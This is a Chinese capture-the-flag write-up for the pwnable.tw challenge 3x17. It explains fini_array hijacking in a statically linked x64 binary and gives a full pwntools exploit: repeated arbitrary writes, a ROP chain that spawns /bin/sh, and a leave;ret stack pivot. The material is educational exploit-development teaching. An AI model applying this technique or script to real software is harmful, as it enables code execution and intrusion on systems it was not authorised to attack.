pwnable.tw新手向write up(二) 3×17-x64静态编译程序的fini_array劫持
2020-05-04 21:48:02 Author: bbs.pediy.com(查看原文) 阅读量:411 收藏

往期

pwnable.tw新手向write up(一)

前置知识

  • main函数并不是程序的起点,也不是程序的终点

image of the callgraph for all the routines involved in program startup on linux

图片出处:http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html

更细致的内容可以参考链接的内容,这里只简单概括一下._start函数才是程序的入口点,他会调用libc_start_main函数,这里可以先看一下libc_start_main函数的原型:

//libc_start_main函数原型
__libc_start_main(main,argc,argv&env,init,fini,rtld_fini)

根据64位程序程序通过寄存器来保存前六个参数的特性,我们可以得出以下结论:

rdi <- main 

rcx <- __libc_csu_init    //在main函数前执行

r8 <- __libc_csu_fini    //在main函数后执行

也就是说,我们可以在_start函数中得到上述三个函数的地址.

  • 静态链接下的fini_array劫持

刚刚我们知道了__libc_csu_fini函数在main函数返回之后执行,现在看看具体代码:

.text:0000000000402960 __libc_csu_fini proc near               ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {
.text:0000000000402960                 push    rbp
.text:0000000000402961                 lea     rax, unk_4B4100
.text:0000000000402968                 lea     rbp, _fini_array_0
.text:000000000040296F                 push    rbx
.text:0000000000402970                 sub     rax, rbp
.text:0000000000402973                 sub     rsp, 8
.text:0000000000402977                 sar     rax, 3
.text:000000000040297B                 jz      short loc_402996
.text:000000000040297D                 lea     rbx, [rax-1]
.text:0000000000402981                 nop     dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988:                             ; CODE XREF: __libc_csu_fini+34↓j
.text:0000000000402988                 call    qword ptr [rbp+rbx*8+0]
.text:000000000040298C                 sub     rbx, 1
.text:0000000000402990                 cmp     rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994                 jnz     short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996:                             ; CODE XREF: __libc_csu_fini+1B↑j
.text:0000000000402996                 add     rsp, 8
.text:000000000040299A                 pop     rbx
.text:000000000040299B                 pop     rbp
.text:000000000040299C                 jmp     sub_48E32C
.text:000000000040299C ; } // starts at 402960
.text:000000000040299C __libc_csu_fini endp

在.text:0000000000402988这个地方有一个call指令,结合前面的代码可以知道rbp保存的是fini_array的值,所以这里会调用fini_array中的函数.所以只要修改了fini_array的数值,我们就可以劫持eip.看一下fini_array的代码:

.fini_array:00000000004B40F0 _fini_array     segment para public 'DATA' use64
.fini_array:00000000004B40F0                 assume cs:_fini_array
.fini_array:00000000004B40F0                 ;org 4B40F0h
.fini_array:00000000004B40F0 _fini_array_0   dq offset sub_401B00    ; DATA XREF: .text:000000000040291C↑o
.fini_array:00000000004B40F0                                         ; __libc_csu_fini+8↑o
.fini_array:00000000004B40F8                 dq offset sub_401580
.fini_array:00000000004B40F8 _fini_array     ends

这里保存了两个函数指针,分别是fini_array[0]和fini_array[1],观察libc_csu_fini中的汇编代码我们可以得知这俩函数指针是反向执行的,先执行fini_array[1],再执行fini_array[0].如果我们将fini_array[0]覆盖为libc_csu_fini的地址,再将fini_array[1]覆盖为任意一个地址A,那么程序就会循环执行A地址的代码,直到fini_array[0]覆盖为其他值.

其次,在.text:0000000000402968可以修改rbp为fini_array的首地址,配合leave;ret可以把栈迁移到fini_array

具体题目 3×17

  • 先查看一下防护.静态链接,又没有符号表,所以基本什么符号都没有了.只开了NX
(ssh) dylan@eureka-pwn : ~/desktop/pwnable.tw/3×17
[0] % checksec 3x17
[*] '/home/dylan/desktop/pwnable.tw/3×17/3x17'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

(ssh) dylan@eureka-pwn : ~/desktop/pwnable.tw/3×17
[0] % file 3x17
3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped
  • 先运行一下,分别输入addr和data然后退出,估摸着就是任意地址读写.然后用IDA
.text:0000000000401A50 start           proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401A50 ; __unwind {
.text:0000000000401A50                 xor     ebp, ebp
.text:0000000000401A52                 mov     r9, rdx
.text:0000000000401A55                 pop     rsi
.text:0000000000401A56                 mov     rdx, rsp
.text:0000000000401A59                 and     rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A5D                 push    rax
.text:0000000000401A5E                 push    rsp
.text:0000000000401A5F                 mov     r8, offset __libc_csu_fini
.text:0000000000401A66                 mov     rcx, offset __libc_csu_init
.text:0000000000401A6D                 mov     rdi, offset main
.text:0000000000401A74                 db      67h
.text:0000000000401A74                 call    sub_401EB0
.text:0000000000401A7A                 hlt
.text:0000000000401A7A ; } // starts at 401A50
.text:0000000000401A7A start           endp

因为没有符号,所以最开始连main函数都找不到,我们先进到start函数,根据最开始讲的内容,我们可以很轻松地得到以下内容:

__libc_csu_fini -> .text:0000000000402960
__libc_csu_init -> .text:00000000004028D0
main -> .text:0000000000401B6D

__libc_csu_fini地址后边会用到,我们先跳转到main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  double v3; // xmm0_8
  double v4; // xmm1_8
  double v5; // xmm2_8
  double v6; // xmm3_8
  double v7; // xmm4_8
  double v8; // xmm5_8
  double v9; // xmm6_8
  double v10; // xmm7_8
  int result; // eax
  int v12; // eax
  char *v13; // ST08_8
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 canary; // [rsp+28h] [rbp-8h]

  canary = __readfsqword(0x28u);
  result = (unsigned __int8)++byte_4B9330;
  if ( byte_4B9330 == 1 )
  {
    write_func(1u, "addr:", 5uLL);
    read_func(0, &buf, 0x18uLL);
    strtol((__int64)&buf);
    v13 = (char *)v12;
    write_func(1u, "data:", 5uLL);
    read_func(0, v13, 0x18uLL);
    result = 0;
  }
  if ( __readfsqword(0x28u) != canary )
    sub_44A3E0(v3, v4, v5, v6, v7, v8, v9, v10);
  return result;
}

改了几个函数的名字,加强了一点可读性,逻辑很简单,输入地址和内容,就可以对目标地址进行更改,是软件给予我们的任意地址写,但是长度只有0x18个字节,并不足以进行利用,这个时候就用到了前置知识的第二点,我们可以劫持fini_array来进行多次的任意地址写,从而getshell.

  • 利用方法

    • 劫持fini_array[1]为main函数地址,fini_array[0]为__libc_csu_fini,将长度为18的任意地址写升级为长度无限制的任意地址写

    • 在0x4b40f0+0x10地址处构造ROP chain

    • 构造完ROP chain之后,将fini_array[0]改为'leave;ret',将fini_array[1]改为'ret'.这样,在执行完main函数(即fini_array[1])之后,程序去执行位于fini_array[0]的'leave;ret',执行完之后,rip=fini_array[1],rsp=0x4b40f0+0x10.此时,fini_array[1]存放着我们放入的ret,这样,eip的值就被修改为了0x4b40f0+0x10.这也就是上一步我们将ROP链放在这个地址的原因.

    • 至此,程序就会一步一步执行我们的ROP链,ROP链就很简单了,大致如下:

        pop_rax
        0x3b
        pop rdi
        addr of "/bin/sh\x00" ;随便放
        pop rsi
        0
        pop rdx
        0
        syscall
      
  • exp

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + '317'
elf = context.binary = ELF(exe)

#don't forget to change it
host = args.HOST or 'chall.pwnable.tw'
port = int(args.PORT or 10105)

#don't forget to change it
#ctx.binary = './' + '317'
ctx.binary = exe
#libc = elf.libc
ctx.debug_remote_libc = False
#ctx.remote_libc = libc
if local:
    context.log_level = 'debug'
    try:
        io = ctx.start()
    except Exception as e:
        print(e.args)
        print("It can't work,may be it can't load the remote libc!")
        print("It will load the local process")
        io = process(exe)
else:
    io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)
fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
esp = fini_array + 0x10
leave_ret = 0x401C4B
ret = 0x401016

rop_syscall = 0x471db5
rop_pop_rax = 0x41e4af
rop_pop_rdx = 0x446e35
rop_pop_rsi = 0x406c30
rop_pop_rdi = 0x401696
bin_sh_addr = 0x4B419A

def write(addr,data):
    io.recv()
    io.send(str(addr))
    io.recv()
    io.send(data)

def exp():
    # hijack fini_array
    write(fini_array,p64(libc_csu_fini) + p64(main_addr))

    # rop chain
    write(bin_sh_addr,"/bin/sh\x00")
    write(esp,p64(rop_pop_rax))
    write(esp+8,p64(0x3b))
    write(esp+16,p64(rop_pop_rdi))
    write(esp+24,p64(bin_sh_addr))
    write(esp+32,p64(rop_pop_rdx))
    write(esp+40,p64(0))
    write(esp+48,p64(rop_pop_rsi))
    write(esp+56,p64(0))
    write(esp+64,p64(rop_syscall))

    # stack pivoting
    write(fini_array,p64(leave_ret) + p64(ret))

if __name__ == '__main__':
    exp()
    io.interactive()
  • 关于我

blog:https://0x2l.github.io/

[培训]科锐逆向工程师培训班38期--远程教学预课班将于 2020年5月28日 正式开班!

最后于 21小时前 被0x2l编辑 ,原因: 修改


文章来源: https://bbs.pediy.com/thread-259298.htm
如有侵权请联系:admin#unsafe.sh